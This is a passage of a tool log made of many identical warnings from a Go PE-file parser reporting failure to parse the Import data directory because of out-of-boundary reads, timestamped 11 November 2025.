level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading 